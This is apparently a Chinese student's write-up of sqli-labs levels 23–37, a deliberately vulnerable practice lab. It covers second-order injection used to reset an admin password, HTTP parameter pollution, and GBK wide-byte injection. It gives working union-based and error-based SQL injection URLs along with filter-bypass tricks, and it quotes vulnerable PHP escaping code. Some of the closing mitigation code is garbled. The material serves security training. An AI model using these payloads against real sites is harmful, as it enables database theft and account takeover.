sqli-lib 实战日志（四）

`sqli-lib` `sql注入`

> 终于来到了 advanced部分咱们做的题目开始有waf了

基础知识

0x01 二次排序注入

> 这种题我第一次遇到，有点像持久性XSS？

1. 黑客通过构造数据的形式，在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理，提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后，为了处理该请求，服务端会查询数据库中已经存储的数据信息并处理，从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
5. 服务端返回执行的处理结果数据信息，黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。此例子中我们的步骤是注册一个 admin’ #的账号，接下来登录该帐号后进行修改密码。此时修改的就是 admin 的密码。Sql 语句变为 `UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' ANDpassword='` ，也就是执行了 `UPDATE users SET passwd="New_Pass" WHERE username =' admin'`

0x02 服务器两层架构

> 由于我没有装tomcat的服务器，所以这边题目做不了。我从来没有看见过服务器两层架构的题目，也许是见识的太少。这种题目应该是http参数污染攻击吧？不过还是把书中的知识点在这里写一下。

服务器端有两个部分：第一部分为 tomcat 为引擎的 jsp 型服务器，第二部分为 apache.为引擎的 php 服务器，真正提供 web 服务的是 php 服务器。工作流程为：client 访问服务器，能直接访问到 tomcat 服务器，然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

重点：index.php?id=1&id=2，显示 id=1 的数据还是显示id=2的？Explain：apache（php）解析最后一个参数，即显示 id=2 的内容。Tomcat（jsp）解析第一个参数，即显示 id=1 的内容

Answer：此处应该是 id=2 的内容，应为时间上提供服务的是 apache（php）服务器，返回的数据也应该是 apache 处理的数据。而在我们实际应用中，也是有两层服务器的情况，那为什么要这么做？是因为我们往往在 tomcat 服务器处做数据过滤和处理，功能类似为一个 WAF。而正因为解析参数的不同，我们此处可以利用该原理绕过 WAF 的检测。该

用法是**HPP（HTTP Parameter Pollution）**，http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁

0x03 宽字节注入

这里我就不多说了。刚刚开始学sql注入的时候就见到了这个玩意儿。
宽字节注入和SQLMAP进阶玩法

实践

Less-23

这里设置了 `--+,#`的waf 但是利用 `'1'='1` 就没有问题了

- 爆库

```
http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,database(),3 or '1'='1
```

- 爆表
- 作者写了点东西，让我们查询起来费点力气。由于后面 or '1'='1 的存在，limit 不太方便写，但是用group_concat就可以解决这样的问题（见第一篇）

```
## 这是我自己写的，我很想知道哪里错了？
http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(group_concat(table_name) from information_schema.tables where table_schema='security'),3 or  '1'='1
## 作者给出的是这样的，为啥就能够搜到security的内容呢？反正这样的姿势更加正确就对了
http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
```

- 爆列

```
http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73),3 or  '1'='1
```

- 爆字段

```
http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(email_id) from emails),3 or  '1'='1
```

Less-24

这道题就是二次排序注入的问题。
我们注册用户admin'# 当修改密码的时候，修改的用户就成了admin。一来一回就成功把admin的密码给改了
。

Less-25

~~心态崩了。or被过滤了information.schema还咋搞啊？求大告知啊~~
也就是说and和or都被过滤了，而且是直接删掉。
如果要information的话构造为infoandrmation就行了

- **报错注入**

```
http://127.0.0.1/sqllib/Less-25/index.php?id=1'|| extractvalue(1,concat(0x7e,database()))-
```

- **爆表**

```
http://localhost/sqli-labs-master/Less-25/index.php
?id=-1'union select 1,(select group_concat(table_name) from infoandrmation_schema.tables where table_schema='security'),3 || '1'='1
```

- **爆列**

```
http://localhost/sqli-labs-master/Less-25/index.php
?id=-1'union select 1,(select group_concat(column_name) from infoandrmation_schema.columns where table_name=0x656d61696c73),3 || '1'='1
```

- **爆字段**

```
http://localhost/sqli-labs-master/Less-25/index.php?
id=-1'union select 1,(select group_concat(email_id) from emails),3 ||  '1'='1
```

Less-25a

25a和25基本差不多，就是不能用报错注入了。盲注和啥的都行。

Less-26

这里过滤的东西是空格，你觉得这个拦得住我们？

空格的代替手段：

- /**/
- +
- %a0
- %0b
- 。。。

所以把空格替换掉就行

Less-26a

和26差不多，只不过要用')闭合后面的括号
sql 语句为

```
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
```

Less-27

union和select被过滤了。
比较有意思的手段是构造如下的样子

- union ====> unSELECTion
- select ====> selUNIONect
- union ====> uniunionon
- select ====> selselectect

这里的过滤是过滤一次，如果是贪婪正则匹配，那就gg了。

当然也有别的方法，利用大小写绕过也可以

- union ====> UniOn
- select ====> SeLeCt

但是如果强制大小写转换的话，那也就gg了

记得某老哥的一句话：
没有最完美的waf，只有最聪明的注入

Less-27a

把单引号换成双引号就行

Less-28

把单引号换成')就行

Less-29-Less-31

暂时做不了

Less-32

到了大名鼎鼎的宽字节注入
主要的问题是对单引号进行转义了。函数如下

```
function check_addslashes($string)
{
```

```
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                                //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                 //escape double quote with a backslash
    return $string;
}

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

这样就能确定注入点了。原理看上面

```
 http://localhost/sqli-labs-master/Less-32/?id=123%df%27or 1=1--+
```

注意宽字节中的所有'都会被转义为\'。这也是为啥我强调16进制编码的原因。

- 爆表

```
http://localhost/sqli-labs-master/Less-32/
?id=-1%df'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
```

- 爆列

```
http://localhost/sqli-labs-master/Less-32/
?id=-1%df'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73),3--+
```

- 爆字段

```
http://localhost/sqli-labs-master/Less-32/
?id=-1%df'union select 1,(select group_concat(email_id) from emails),3--+
```

咋样？很简单把？

Less-33

对string字符串进行了如下处理。

```
function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

addslashes函数实际上就是上面那个正则表达式的功能。

Less-34

post形，其实玩法还是和get一样的。
记得在bp里改，有时候hackbar post提交不了。还有时候会莫名其妙的url编码

Less-35

实际上这边的sql语句是,对于sql语句一点处理也没有

```
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
```

payload如下

```
http://localhost/sqli-labs-master/Less-35/?id=-
1%20union%20select%201,group_concat(email_id),3%20from%20emails
```

Less-36

```
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);
    return $string;
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

还记得这个函数把？之前提及过

payload如下。可以看到宽字节的强大，让很多对于引号的过滤方式都失效了

```
http://localhost/sqli-labs-master/Less-36/?id=100%df'or 1=1--+
```

Less-37

post方法，代码和上面都差不多

Notice:

在使用 mysql_real_escape_string()时，如何能够安全的防护这种问题，需要将 mysql 设置为gbk 即可。设置代码：Mysql_set_charset(‘gbk’ ,’ $conn)

Notice:

使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式，才能防御此漏洞。
Mysql_query(“SETcharacter_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn）

Summary:
从上面的几关当中，可以总结一下过滤 `'` `"` 常用的三种方式是直接
replace，addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的，所以我们在编写代码的时候需要考虑的更加仔细。